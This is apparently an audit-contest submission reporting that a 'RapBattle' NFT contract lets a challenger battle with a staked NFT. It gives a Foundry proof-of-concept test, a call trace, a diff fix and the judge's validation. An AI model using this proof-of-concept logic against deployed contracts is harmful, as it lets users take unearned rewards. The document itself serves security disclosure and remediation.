Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Users can make battle as `challenger` with staked NFTs

Summary

A user can make battles using staked NFTs

Vulnerability Details

challenger is not obliged to transfer the NFT before the battle and there is no check for the NFT to be unstaked before battle with the defender takes place

Impact

This vulnerability allows users to make a battle with staked NFTs challenger thus being able to continue to gain benefits coming from the staking of their NFT.
This could jeopardize the entire battle-system as there are less incentives for users to try to make battles as defenders using their unstaked NFTs.

POC

contract MyTest is Test {
RapBattle rapBattle;
OneShot oneShot;
Streets streets;
Credibility cred;
IOneShot.RapperStats stats;
address user1;
address user2;
address user3;
uint256 start;
event balance (address, uint256);
function setUp() public {
oneShot = new OneShot();
cred = new Credibility();
streets = new Streets(address(oneShot), address(cred));
rapBattle = new RapBattle(address(oneShot), address(cred));
user1 = address(1);
user2 = address(2);
user3 = address(3);
oneShot.setStreetsContract(address(streets));
cred.setStreetsContract(address(streets));
start = block.timestamp;
}
function test_battle() public {
vm.startPrank(user1);
oneShot.mintRapper();
oneShot.approve(address(streets), 0);
streets.stake(0);
vm.stopPrank();
vm.startPrank(user2);
oneShot.mintRapper();
oneShot.approve(address(streets), 1);
streets.stake(1);
vm.stopPrank();
vm.startPrank(user3);
oneShot.mintRapper();
oneShot.approve(address(streets), 2);
streets.stake(2);
vm.stopPrank();
vm.warp(start+4 days);
vm.startPrank(user1);
streets.unstake(0);
vm.stopPrank();
vm.startPrank(user2);
streets.unstake(1);
vm.stopPrank();
uint256 balance2 = cred.balanceOf(user2);
uint256 balance3 = cred.balanceOf(user3);
vm.startPrank(user2);
cred.approve(address(rapBattle), 4);
oneShot.approve(address(rapBattle), 1);
rapBattle.goOnStageOrBattle(1,4);
vm.stopPrank();
vm.startPrank(user3);
cred.approve(address(rapBattle), 4);
rapBattle.goOnStageOrBattle(2,4);
vm.stopPrank();
uint256 balance_final1 = cred.balanceOf(user2);
uint256 balance_final2 = cred.balanceOf(user3);
assert(balance2+balance3 == balance_final1+balance_final2);
}
}

─ [27600] RapBattle::goOnStageOrBattle(2, 4)
│ ├─ [1183] OneShot::getRapperStats(1) [staticcall]
│ │ └─ ← (false, false, false, true, 0)
│ ├─ [1183] OneShot::getRapperStats(2) [staticcall]
│ │ └─ ← (true, true, true, false, 0)
│ ├─ emit Battle(challenger: 0x0000000000000000000000000000000000000003, tokenId: 2, winner: 0x0000000000000000000000000000000000000002)
│ ├─ [18516] Credibility::transfer(0x0000000000000000000000000000000000000002, 4)
│ │ ├─ emit Transfer(from: RapBattle: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], to: 0x0000000000000000000000000000000000000002, amount: 4)
│ │ └─ ← true

## Tools Used
Foundry
## Recommendations
To oblige the `challenger` to tansfer the NFT before the battle takes place.
```diff
function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
// credToken.transferFrom(msg.sender, address(this), _credBet);
+ oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
_battle(_tokenId, _credBet);
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Challenger can use any nft to battle - not necessarily theirs

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.